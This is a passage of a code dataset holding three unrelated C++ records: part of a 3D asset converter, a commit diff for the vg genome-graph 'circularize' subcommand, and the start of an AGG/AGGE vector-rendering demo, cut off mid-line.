(unsigned int i = 0; i < aScene->mNumMeshes; ++i)\n ConvertMesh(aScene->mMeshes[i], file, scale, flipUVs);\n}\n\nvoid AssetConverter::ConvertMesh(aiMesh * aMesh, Geometry::AssetFileHandler * file, glm::vec3 scale, bool flipUVs) {\n Geometry::AssetFileHandler::MeshData * meshData = new Geometry::AssetFileHandler::MeshData;\n \n meshData->parent = 0;\n\n \/\/ Convert vertices.\n unsigned int numVertices = aMesh->mNumVertices;\n meshData->numVertices = numVertices;\n\n \/\/ If mesh has no bones the mesh is static.\n if (aMesh->mNumBones == 0) {\n meshData->staticVertices = ConvertStaticVertices(aMesh, file, numVertices, scale, flipUVs);\n meshData->isSkinned = false;\n }\n else {\n meshData->skinnedVertices = ConvertSkinnedVertices(aMesh, file, numVertices, scale, flipUVs);\n meshData->isSkinned = true;\n }\n\n \/\/ Convert indicies. 3 indicies for a face\/triangle.\n unsigned int numIndicies = aMesh->mNumFaces * 3;\n uint32_t * indices = new uint32_t[numIndicies];\n unsigned int indexCounter = 0;\n for (unsigned int i = 0; i < aMesh->mNumFaces; ++i) {\n const aiFace& aFace = aMesh->mFaces[i];\n if (aFace.mNumIndices != 3) {\n errorString.append(\"ERROR: Mesh not triangulated.\\n\");\n success = false;\n delete[] indices;\n delete meshData;\n return;\n }\n\n indices[indexCounter++] = aFace.mIndices[0];\n indices[indexCounter++] = aFace.mIndices[1];\n indices[indexCounter++] = aFace.mIndices[2];\n }\n\n meshData->numIndices = indexCounter;\n meshData->indices = indices;\n \n CalculateAABB(meshData, meshData->numVertices);\n\n file->SaveStaticMesh(meshData);\n\n delete meshData;\n meshData = nullptr;\n}\n\nVideo::Geometry::VertexType::StaticVertex * AssetConverter::ConvertStaticVertices(aiMesh* aMesh, Geometry::AssetFileHandler* file, unsigned int numVertices, glm::vec3 scale, bool flipUVs) {\n Video::Geometry::VertexType::StaticVertex * vertices = new Video::Geometry::VertexType::StaticVertex[numVertices];\n\n \/\/ Positions.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].position, aMesh->mVertices[i]);\n vertices[i].position *= scale;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no positions yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].position = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Texture coordinates.\n if (aMesh->HasTextureCoords(0)) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].textureCoordinate, aMesh->mTextureCoords[0][i]);\n if (flipUVs) \n vertices[i].textureCoordinate.y = 1.0f - vertices[i].textureCoordinate.y;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no texture coordinates yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].textureCoordinate = glm::vec2(0.0f, 0.0f);\n }\n\n \/\/ Normals.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].normal, aMesh->mNormals[i]);\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no normals yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].normal = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Tangents.\n if (aMesh->HasTangentsAndBitangents()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].tangent, aMesh->mTangents[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no tangents yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].tangent = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n return vertices;\n}\n\nVideo::Geometry::VertexType::SkinVertex * AssetConverter::ConvertSkinnedVertices(aiMesh * aMesh, Geometry::AssetFileHandler * file, unsigned int numVertices, glm::vec3 scale, bool flipUVs) {\n Video::Geometry::VertexType::SkinVertex * vertices = new Video::Geometry::VertexType::SkinVertex[numVertices];\n\n \/\/ Positions.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].position, aMesh->mVertices[i]);\n vertices[i].position *= scale;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no positions yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].position = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Texture coordinates.\n if (aMesh->HasTextureCoords(0)) {\n for (unsigned int i = 0; i < numVertices; ++i) {\n Geometry::CpyVec(vertices[i].textureCoordinate, aMesh->mTextureCoords[0][i]);\n if (flipUVs)\n vertices[i].textureCoordinate.y = 1.0f - vertices[i].textureCoordinate.y;\n }\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no texture coordinates yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].textureCoordinate = glm::vec2(0.0f, 0.0f);\n }\n\n \/\/ Normals.\n if (aMesh->HasNormals()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].normal, aMesh->mNormals[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no normals yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].normal = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n \/\/ Tangents.\n if (aMesh->HasTangentsAndBitangents()) {\n for (unsigned int i = 0; i < numVertices; ++i)\n Geometry::CpyVec(vertices[i].tangent, aMesh->mTangents[i]);\n } else {\n success = false;\n errorString.append(\"WARNING: The model has no tangents yet the user is trying to import them.\\n\");\n for (unsigned int i = 0; i < numVertices; ++i)\n vertices[i].tangent = glm::vec3(1.0f, 0.0f, 0.0f);\n }\n\n std::vector<unsigned int> weightCounter(numVertices, 0);\n\n for (unsigned int b = 0; b < aMesh->mNumBones; ++b) {\n const aiBone * aBone = aMesh->mBones[b];\n for (unsigned int i = 0; i < aBone->mNumWeights; ++i) {\n unsigned int vertexID = aBone->mWeights[i].mVertexId;\n unsigned int& count = weightCounter[vertexID];\n vertices[vertexID].weights[count] = aBone->mWeights[i].mWeight;\n vertices[vertexID].boneIDs[count] = i;\n ++count;\n }\n }\n\n weightCounter.clear();\n\n return vertices;\n}\n\nvoid AssetConverter::CalculateAABB(Geometry::AssetFileHandler::MeshData * meshData, unsigned int numVertices) {\n glm::vec3 minValues, maxValues, origin, dim;\n minValues = maxValues = origin = glm::vec3(0.f, 0.f, 0.f);\n\n \/\/ Find minimum\/maximum bounding points.\n for (std::size_t i = 0; i < numVertices; ++i) {\n const glm::vec3& pos = meshData->isSkinned ? meshData->skinnedVertices[i].position : meshData->staticVertices[i].position;\n if (pos.x > maxValues.x)\n maxValues.x = pos.x;\n else if (pos.x < minValues.x)\n minValues.x = pos.x;\n\n if (pos.y > maxValues.y)\n maxValues.y = pos.y;\n else if (pos.y < minValues.y)\n minValues.y = pos.y;\n\n if (pos.z > maxValues.z)\n maxValues.z = pos.z;\n else if (pos.z < minValues.z)\n minValues.z = pos.z;\n }\n\n \/\/ Set origin.\n origin.x = (minValues.x + maxValues.x) \/ 2.f;\n origin.y = (minValues.y + maxValues.y) \/ 2.f;\n origin.z = (minValues.z + maxValues.z) \/ 2.f;\n\n \/\/ Dimensions.\n dim.x = maxValues.x - minValues.x;\n dim.y = maxValues.y - minValues.y;\n dim.z = maxValues.z - minValues.z;\n\n meshData->aabbDim = dim;\n meshData->aabbOrigin = origin;\n meshData->aabbMaxpos = maxValues;\n meshData->aabbMinpos = minValues;\n}\n\nvoid AssetConverter::LoadMaterial(aiMaterial* material, aiTextureType type, std::string& path) {\n if (material->GetTextureCount(type) > 0) {\n aiString p;\n material->GetTexture(type, 0, &p);\n path = p.C_Str();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/** \\file circularize_main.cpp\n *\n * Defines the \"vg circularize\" subcommand\n *\/\n\n\n#include <omp.h>\n#include <unistd.h>\n#include <getopt.h>\n\n#include <iostream>\n\n#include \"subcommand.hpp\"\n\n#include \"..\/utility.hpp\"\n#include \"..\/handle.hpp\"\n#include \"..\/vg.hpp\"\n#include <vg\/io\/stream.hpp>\n#include <vg\/io\/vpkg.hpp>\n\nusing namespace std;\nusing namespace vg;\nusing namespace vg::subcommand;\n\nvoid help_circularize(char** argv){\n cerr << \"usage: \" << argv[0] << \" circularize [options] <graph.vg> > [circularized.vg]\" << endl\n << \"Makes specific paths or nodes in a graph circular.\" << endl\n << endl\n << \"options:\" << endl\n << \" -p --path <PATHNAME> circularize the path by connecting its head\/tail node.\" << endl\n << \" -P, --pathfile <PATHSFILE> circularize all paths in the provided file.\" << endl\n << \" -a, --head <node_id> circularize a head and tail node (must provide a tail).\" << endl\n << \" -z, --tail <tail_id> circularize a head and tail node (must provide a head).\" << endl\n << \" -d --describe list all the paths in the graph.\" << endl\n << endl;\n exit(1);\n}\n\nint main_circularize(int argc, char** argv){\n if (argc == 2){\n help_circularize(argv);\n exit(1);\n }\n\n string path = \"\";\n string pathfile = \"\";\n bool describe = false;\n vg::id_t head = -1;\n vg::id_t tail = -1;\n\n\n int c;\n optind = 2;\n while (true){\n static struct option long_options[] =\n {\n {\"path\", required_argument, 0, 'p'},\n {\"pathfile\", required_argument, 0, 'P'},\n {\"head\", required_argument, 0, 'a'},\n {\"tail\", required_argument, 0, 'z'},\n {\"describe\", required_argument, 0, 'd'},\n {0,0,0,0}\n };\n\n\n int option_index = 0;\n c = getopt_long (argc, argv, \"hdp:P:a:z:\",\n long_options, &option_index);\n if (c == -1){\n break;\n }\n\n switch(c){\n case 'a':\n head = parse<int>(optarg);\n break;\n case 'z':\n tail = parse<int>(optarg);\n break;\n case 'p':\n path = optarg;\n break;\n case 'P':\n pathfile = optarg;\n break;\n case 'd':\n describe = true;\n break;\n case 'h':\n case '?':\n help_circularize(argv);\n exit(1);\n break;\n\n default:\n abort();\n }\n }\n\n vector<string> paths_to_circularize;\n if (!((head * tail) > 0)){\n cerr << \"Both a head and tail node must be provided\" << endl;\n help_circularize(argv);\n exit(1);\n }\n if (pathfile != \"\"){\n string line;\n ifstream pfi;\n pfi.open(pathfile);\n if (!pfi.good()){\n cerr << \"There is an error with the input file.\" << endl;\n help_circularize(argv);\n }\n while (getline(pfi, line)){\n paths_to_circularize.push_back(line);\n }\n pfi.close();\n\n }\n else if (path != \"\"){\n paths_to_circularize.push_back(path);\n }\n\n \/\/ TODO: if we settle on a uniform serialzation method that covers the VG class, the code is ready to be switched\n VG* graph;\n get_input_file(optind, argc, argv, [&](istream& in) {\n graph = new VG(in);\n });\n\n \/\/ Check if paths are in graph:\n for (const string& p : paths_to_circularize){\n if (!graph->has_path(p)){\n cerr << \"ERROR: PATH NOT IN GRAPH - \" << p << endl;\n exit(1);\n }\n }\n\n if (describe){\n graph->for_each_path_handle([&](const path_handle_t& path_handle) {\n cout << graph->get_path_name(path_handle) << endl;\n });\n exit(0);\n }\n\n if (head > 0 && tail > head){\n graph->create_edge(graph->get_handle(tail), graph->get_handle(head));\n }\n else{\n for (const auto& path_name : paths_to_circularize) {\n graph->set_circularity(graph->get_path_handle(path_name), true);\n }\n }\n \n graph->serialize_to_ostream(cout);\n\/\/ SerializableHandleGraph* to_serialize = dynamic_cast<SerializableHandleGraph*>(&(*graph));\n\/\/ if (!to_serialize) {\n\/\/ cerr << \"error: graph format is not serializable!\" << endl;\n\/\/ return 1;\n\/\/ }\n\/\/ to_serialize->serialize(std::cout);\n \n return 0;\n}\n\n\/\/ Register subcommand\nstatic Subcommand vg_circularize(\"circularize\", \"circularize a path within a graph\", main_circularize);\n\n<commit_msg>restore previous circularize behavior<commit_after>\/** \\file circularize_main.cpp\n *\n * Defines the \"vg circularize\" subcommand\n *\/\n\n\n#include <omp.h>\n#include <unistd.h>\n#include <getopt.h>\n\n#include <iostream>\n\n#include \"subcommand.hpp\"\n\n#include \"..\/utility.hpp\"\n#include \"..\/handle.hpp\"\n#include \"..\/vg.hpp\"\n#include <vg\/io\/stream.hpp>\n#include <vg\/io\/vpkg.hpp>\n\nusing namespace std;\nusing namespace vg;\nusing namespace vg::subcommand;\n\nvoid help_circularize(char** argv){\n cerr << \"usage: \" << argv[0] << \" circularize [options] <graph.vg> > [circularized.vg]\" << endl\n << \"Makes specific paths or nodes in a graph circular.\" << endl\n << endl\n << \"options:\" << endl\n << \" -p --path <PATHNAME> circularize the path by connecting its head\/tail node.\" << endl\n << \" -P, --pathfile <PATHSFILE> circularize all paths in the provided file.\" << endl\n << \" -a, --head <node_id> circularize a head and tail node (must provide a tail).\" << endl\n << \" -z, --tail <tail_id> circularize a head and tail node (must provide a head).\" << endl\n << \" -d --describe list all the paths in the graph.\" << endl\n << endl;\n exit(1);\n}\n\nint main_circularize(int argc, char** argv){\n if (argc == 2){\n help_circularize(argv);\n exit(1);\n }\n\n string path = \"\";\n string pathfile = \"\";\n bool describe = false;\n vg::id_t head = -1;\n vg::id_t tail = -1;\n\n\n int c;\n optind = 2;\n while (true){\n static struct option long_options[] =\n {\n {\"path\", required_argument, 0, 'p'},\n {\"pathfile\", required_argument, 0, 'P'},\n {\"head\", required_argument, 0, 'a'},\n {\"tail\", required_argument, 0, 'z'},\n {\"describe\", required_argument, 0, 'd'},\n {0,0,0,0}\n };\n\n\n int option_index = 0;\n c = getopt_long (argc, argv, \"hdp:P:a:z:\",\n long_options, &option_index);\n if (c == -1){\n break;\n }\n\n switch(c){\n case 'a':\n head = parse<int>(optarg);\n break;\n case 'z':\n tail = parse<int>(optarg);\n break;\n case 'p':\n path = optarg;\n break;\n case 'P':\n pathfile = optarg;\n break;\n case 'd':\n describe = true;\n break;\n case 'h':\n case '?':\n help_circularize(argv);\n exit(1);\n break;\n\n default:\n abort();\n }\n }\n\n vector<string> paths_to_circularize;\n if (!((head * tail) > 0)){\n cerr << \"Both a head and tail node must be provided\" << endl;\n help_circularize(argv);\n exit(1);\n }\n if (pathfile != \"\"){\n string line;\n ifstream pfi;\n pfi.open(pathfile);\n if (!pfi.good()){\n cerr << \"There is an error with the input file.\" << endl;\n help_circularize(argv);\n }\n while (getline(pfi, line)){\n paths_to_circularize.push_back(line);\n }\n pfi.close();\n\n }\n else if (path != \"\"){\n paths_to_circularize.push_back(path);\n }\n\n \/\/ TODO: if we settle on a uniform serialzation method that covers the VG class, the code is ready to be switched\n VG* graph;\n get_input_file(optind, argc, argv, [&](istream& in) {\n graph = new VG(in);\n });\n\n \/\/ Check if paths are in graph:\n for (const string& p : paths_to_circularize){\n if (!graph->has_path(p)){\n cerr << \"ERROR: PATH NOT IN GRAPH - \" << p << endl;\n exit(1);\n }\n }\n\n if (describe){\n graph->for_each_path_handle([&](const path_handle_t& path_handle) {\n cout << graph->get_path_name(path_handle) << endl;\n });\n exit(0);\n }\n\n if (head > 0 && tail > head){\n graph->create_edge(graph->get_handle(tail), graph->get_handle(head));\n }\n else{\n for (const auto& path_name : paths_to_circularize) {\n path_handle_t path = graph->get_path_handle(path_name);\n if (graph->get_step_count(path) > 0) {\n graph->create_edge(graph->get_handle_of_step(graph->path_back(path)),\n graph->get_handle_of_step(graph->path_begin(path)));\n }\n graph->set_circularity(path, true);\n }\n }\n \n graph->serialize_to_ostream(cout);\n\/\/ SerializableHandleGraph* to_serialize = dynamic_cast<SerializableHandleGraph*>(&(*graph));\n\/\/ if (!to_serialize) {\n\/\/ cerr << \"error: graph format is not serializable!\" << endl;\n\/\/ return 1;\n\/\/ }\n\/\/ to_serialize->serialize(std::cout);\n \n return 0;\n}\n\n\/\/ Register subcommand\nstatic Subcommand vg_circularize(\"circularize\", \"circularize a path within a graph\", main_circularize);\n\n<|endoftext|>"} {"text":"<commit_before>#include \"MainDialog.h\"\r\n\r\n#include \"..\/common\/bouncing.h\"\r\n#include \"..\/common\/paths.h\"\r\n#include \"..\/common\/timing.h\"\r\n\r\n#include <agge\/blenders_simd.h>\r\n#include <agge\/clipper.h>\r\n#include <agge\/dash.h>\r\n#include <agge\/math.h>\r\n#include <agge\/rasterizer.h>\r\n#include <agge\/renderer_parallel.h>\r\n#include <agge\/stroke.h>\r\n#include <agge\/stroke_features.h>\r\n\r\n#include <aggx\/blenders.h>\r\n\r\n#include <aggx\/aggx_ellipse.h>\r\n\r\n#include <agg_conv_stroke.h>\r\n#include <agg_rasterizer_sl_clip.h>\r\n#include <agg_ellipse.h>\r\n#include <agg_pixfmt_rgba.h>\r\n#include <agg_renderer_base.h>\r\n#include <agg_scanline_u.h>\r\n#include <agg_rasterizer_scanline_aa.h>\r\n#include <agg_renderer_scanline.h>\r\n\r\nusing namespace std;\r\nusing namespace demo;\r\n\r\nconst int c_thread_count = 1;\r\nconst bool c_use_original_agg = false;\r\nconst int c_balls_number = 0;\r\ntypedef agge::simd::blender_solid_color blender_used;\r\n\r\nnamespace\r\n{\r\n\tclass unlimited_miter : public agge::stroke::join\r\n\t{\r\n\tpublic:\r\n\t\tvirtual void calc(agge::points &output, agge::real_t w, const agge::point_r &v0, agge::real_t d01,\r\n\t\t\tconst agge::point_r &v1, agge::real_t d12, const agge::point_r &v2) const\r\n\t\t{\r\n\t\t\tusing namespace agge;\r\n\r\n\t\t\td01 = w \/ d01;\r\n\t\t\td12 = w \/ d12;\r\n\r\n\t\t\tconst real_t dx1 = d01 * (v1.y - v0.y);\r\n\t\t\tconst real_t dy1 = d01 * (v1.x - v0.x);\r\n\t\t\tconst real_t dx2 = d12 * (v2.y - v1.y);\r\n\t\t\tconst real_t dy2 = d12 * (v2.x - v1.x);\r\n\r\n\t\t\treal_t xi, yi;\r\n\r\n\t\t\tif (calc_intersection(v0.x + dx1, v0.y - dy1, v1.x + dx1, v1.y - dy1,\r\n\t\t\t\tv1.x + dx2, v1.y - dy2, v2.x + dx2, v2.y - dy2, &xi, &yi))\r\n\t\t\t{\r\n\t\t\t\toutput.push_back(create_point(xi, yi));\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tAGGE_INLINE static bool calc_intersection(agge::real_t ax, agge::real_t ay, agge::real_t bx, agge::real_t by,\r\n\t\t\tagge::real_t cx, agge::real_t cy, agge::real_t dx, agge::real_t dy, agge::real_t *x, agge::real_t *y)\r\n\t\t{\r\n\t\t\tusing namespace agge;\r\n\r\n\t\t\treal_t num = (ay-cy) * (dx-cx) - (ax-cx) * (dy-cy);\r\n\t\t\treal_t den = (bx-ax) * (dy-cy) - (by-ay) * (dx-cx);\r\n\t\t\tif (fabs(den) < distance_epsilon)\r\n\t\t\t\treturn false;\t\r\n\t\t\treal_t r = num \/ den;\r\n\t\t\t*x = ax + r * (bx-ax);\r\n\t\t\t*y = ay + r * (by-ay);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t};\r\n\r\n\tagge::simd::blender_solid_color::pixel make_pixel(aggx::rgba8 color)\r\n\t{\r\n\t\tagge::simd::blender_solid_color::pixel p = { color.b, color.g, color.r, 0 };\r\n\t\treturn p;\r\n\t}\r\n\r\n\ttemplate <typename BlenderT>\r\n\tclass blender : public BlenderT\r\n\t{\r\n\tpublic:\r\n\t\tblender(aggx::rgba8 color)\r\n\t\t\t: BlenderT(make_pixel(color), color.a)\r\n\t\t{\t}\r\n\t};\r\n\r\n\ttemplate <int precision>\r\n\tstruct calculate_alpha\r\n\t{\r\n\t\tunsigned int operator ()(int area) const\r\n\t\t{\r\n\t\t\tarea >>= precision + 1;\r\n\t\t\tif (area < 0)\r\n\t\t\t\tarea = -area;\r\n\t\t\tif (area > 255)\r\n\t\t\t\tarea = 255;\r\n\t\t\treturn area;\r\n\t\t}\r\n\t};\r\n\r\n\ttemplate <typename LinesSinkT, typename PathT>\r\n\tvoid add_path(LinesSinkT &sink, PathT &path)\r\n\t{\r\n\t\tusing namespace agge;\r\n\r\n\t\treal_t x, y;\r\n\r\n\t\tpath.rewind(0);\r\n\t\tfor (int command; command = path.vertex(&x, &y), path_command_stop != command; )\r\n\t\t{\r\n\t\t\tif (path_command_line_to == (command & path_command_mask))\r\n\t\t\t\tsink.line_to(x, y);\r\n\t\t\telse if (path_command_move_to == (command & path_command_mask))\r\n\t\t\t\tsink.move_to(x, y);\r\n\t\t\tif (command & path_flag_close)\r\n\t\t\t\tsink.close_polygon();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tclass bitmap_rendering_buffer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef unsigned int pixel_type;\r\n\t\ttypedef agg::const_row_info<pixel_type> row_data;\r\n\r\n\tpublic:\r\n\t\tbitmap_rendering_buffer(::bitmap &target)\r\n\t\t\t: _target(target)\r\n\t\t{\t}\r\n\r\n\t\tpixel_type *row_ptr(int, int y, int)\r\n\t\t{\treturn reinterpret_cast<pixel_type *>(_target.row_ptr(y));\t}\r\n\r\n\t\tunsigned int width() const\r\n\t\t{\treturn _target.width();\t}\r\n\r\n\t\tunsigned int height() const\r\n\t\t{\treturn _target.height();\t}\r\n\r\n\tprivate:\r\n\t\t::bitmap &_target;\r\n\t};\r\n\r\n\r\n\r\n\tclass agg_drawer : public Drawer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef blender<blender_used> solid_color_brush;\r\n\t\ttypedef agg::pixfmt_alpha_blend_rgba<agg::blender_bgra32, bitmap_rendering_buffer> pixfmt;\r\n\t\ttypedef agg::rgba8 color_type;\r\n\t\ttypedef agg::order_bgra component_order;\r\n\t\ttypedef agg::renderer_base<pixfmt> renderer_base;\r\n\t\ttypedef agg::renderer_scanline_aa_solid<renderer_base> renderer_aa;\r\n\r\n\tpublic:\r\n\t\tagg_drawer()\r\n\t\t\t: _balls(c_balls)\r\n\t\t{ _balls.resize(c_balls_number);\t}\r\n\r\n\tprivate:\r\n\t\tvirtual void draw(::bitmap &surface, Timings &timings)\r\n\t\t{\r\n\t\t\tLARGE_INTEGER counter;\r\n\t\t\tconst float dt = 0.3f * (float)stopwatch(_balls_timer);\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagge::fill(surface, solid_color_brush(aggx::rgba8(255, 255, 255)));\r\n\t\t\ttimings.clearing += stopwatch(counter);\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagg_path_adaptor p(_spiral);\r\n\r\n\t\t\t\tif (!_stroke.get())\r\n\t\t\t\t\t_stroke.reset(new agg::conv_stroke<agg_path_adaptor>(p));\r\n\t\t\t\telse\r\n\t\t\t\t\t_stroke->attach(p);\r\n\r\n\t\t\t\t_stroke->width(3);\r\n\t\t\t\t_stroke->line_join(agg::bevel_join);\r\n\t\t\t\t_spiral_flattened.clear();\r\n\t\t\t\tflatten<double>(_spiral_flattened, *_stroke);\r\n\t\t\ttimings.stroking += stopwatch(counter);\r\n\r\n\t\t\tbitmap_rendering_buffer rbuf(surface);\r\n\t\t\tpixfmt pixf(rbuf);\r\n\t\t\trenderer_base rb(pixf);\r\n\t\t\trenderer_aa ren_aa(rb);\r\n\r\n\t\t\tif (_balls.empty())\r\n\t\t\t{\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t_rasterizer.add_path(agg_path_adaptor(_spiral_flattened));\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\tren_aa.color(agg::rgba8(0, 154, 255, 255));\r\n\t\t\t\tagg::render_scanlines(_rasterizer, _scanline, ren_aa);\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t}\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tdemo::move_and_bounce(b, dt, surface.width(), surface.height());\r\n\t\t\t});\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tagg::ellipse e(b.x, b.y, b.radius, b.radius);\r\n\r\n\t\t\t\t_rasterizer.reset();\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t_rasterizer.add_path(e);\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\tren_aa.color(agg::rgba8(b.color.r, b.color.g, b.color.b, b.color.a));\r\n\t\t\t\tagg::render_scanlines(_rasterizer, _scanline, ren_aa);\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\tvirtual void resize(int width, int height)\r\n\t\t{\r\n\t\t\t_spiral.clear();\r\n\t\t\tspiral(_spiral, width \/ 2, height \/ 2, 5, (std::min)(width, height) \/ 2 - 10, 1, 0);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tagg::rasterizer_scanline_aa<agg::rasterizer_sl_no_clip> _rasterizer;\r\n\t\tagg::scanline_u8 _scanline;\r\n\t\tAggPath _spiral, _spiral_flattened;\r\n\t\tLARGE_INTEGER _balls_timer;\r\n\t\tvector<demo::ball> _balls;\r\n\t\tauto_ptr< agg::conv_stroke<agg_path_adaptor> > _stroke;\r\n\t};\r\n\r\n\r\n\tclass agge_drawer : public Drawer\r\n\t{\r\n\tpublic:\r\n\t\ttypedef blender<blender_used> solid_color_brush;\r\n\r\n\tpublic:\r\n\t\tagge_drawer()\r\n\t\t\t: _renderer(c_thread_count), _balls(c_balls)\r\n\t\t{\r\n\t\t\t_balls.resize(c_balls_number);\r\n\t\t\t_dash.add_dash(15.0f, 4.0f);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tvirtual void draw(::bitmap &surface, Timings &timings)\r\n\t\t{\r\n\t\t\tLARGE_INTEGER counter;\r\n\t\t\tconst float dt = 0.3f * (float)stopwatch(_balls_timer);\r\n\r\n\t\t\t_rasterizer.reset();\r\n\r\n\t\t\tstopwatch(counter);\r\n\t\t\t\tagge::fill(surface, solid_color_brush(aggx::rgba8(255, 255, 255)));\r\n\t\t\ttimings.clearing += stopwatch(counter);\r\n\r\n\t\t\tif (_balls.empty())\r\n\t\t\t{\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\t\tagg_path_adaptor p(_spiral);\r\n\t\t\t\t\tagge::path_generator_adapter<agg_path_adaptor, agge::stroke> path_stroke1(p, _stroke1);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::stroke>, agge::stroke> path_stroke2(path_stroke1, _stroke2);\r\n\r\n\t\t\t\t\tagge::path_generator_adapter<agg_path_adaptor, agge::dash> path_stroke3(p, _dash);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::dash>, agge::stroke> path_stroke4(path_stroke3, _stroke1);\r\n\t\t\t\t\tagge::path_generator_adapter<agge::path_generator_adapter<agge::path_generator_adapter<agg_path_adaptor, agge::dash>, agge::stroke>, agge::stroke> path_stroke5(path_stroke4, _stroke2);\r\n\r\n\t\t\t\t\t_stroke1.width(3.0f);\r\n\t\t\t\t\t_stroke1.set_cap(agge::caps::butt());\r\n\t\t\t\t\t_stroke1.set_join(unlimited_miter());\r\n\r\n\t\t\t\t\t_stroke2.width(1.2f);\r\n\t\t\t\t\t_stroke2.set_cap(agge::caps::butt());\r\n\t\t\t\t\t_stroke2.set_join(unlimited_miter());\r\n\r\n\t\t\t\t\t_spiral_flattened.clear();\r\n\t\t\t\t\tflatten<agge::real_t>(_spiral_flattened, path_stroke5);\r\n\t\t\t\ttimings.stroking += stopwatch(counter);\r\n\r\n\t\t\t\tsolid_color_brush brush(aggx::rgba8(0, 154, 255, 230));\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\tadd_path(_rasterizer, agg_path_adaptor(_spiral_flattened));\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\t_renderer(surface, 0, _rasterizer, brush, calculate_alpha<agge::vector_rasterizer::_1_shift>());\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t}\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\tdemo::move_and_bounce(b, dt, surface.width(), surface.height());\r\n\t\t\t});\r\n\r\n\t\t\tfor_each(_balls.begin(), _balls.end(), [&] (ball &b) {\r\n\t\t\t\taggx::ellipse e(b.x, b.y, b.radius, b.radius);\r\n\r\n\t\t\t\t_rasterizer.reset();\r\n\r\n\t\t\t\tstopwatch(counter);\r\n\t\t\t\tadd_path(_rasterizer, e);\r\n\t\t\t\t_rasterizer.sort();\r\n\t\t\t\ttimings.rasterization += stopwatch(counter);\r\n\t\t\t\t_renderer(surface, 0, _rasterizer, agge_drawer::solid_color_brush(b.color), calculate_alpha<agge::vector_rasterizer::_1_shift>());\r\n\t\t\t\ttimings.rendition += stopwatch(counter);\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\tvirtual void resize(int width, int height)\r\n\t\t{\r\n\t\t\t_spiral.clear();\r\n\t\t\tspiral(_spiral, width \/ 2, height \/ 2, 5, (std::min)(width, height) \/ 2 - 10, 1, 0);\r\n\t\t}\r\n\r\n\tprivate:\r\n\t\tagge::rasterizer< agge::clipper<int> > _rasterizer;\r\n\t\t__declspec(align(16)) agge::renderer_parallel _renderer;\r\n\t\tAggPath _spiral, _spiral_flattened;\r\n\t\tLARGE_INTEGER _balls_timer;\r\n\t\tvector<demo::ball> _balls;\r\n\t\tagge::stroke _stroke1, _stroke2;\r\n\t\tagge::dash _dash;\r\n\t};\r\n}\r\n\r\n\r\nint main()\r\n{\r\n\tdelete new int;\r\n\r\n\tagg_drawer d1;\r\n\tagge_drawer d2;\r\n\r\n\tMainDialog dlg(c_use_original_agg ? (Drawer &)d1 : (Drawer 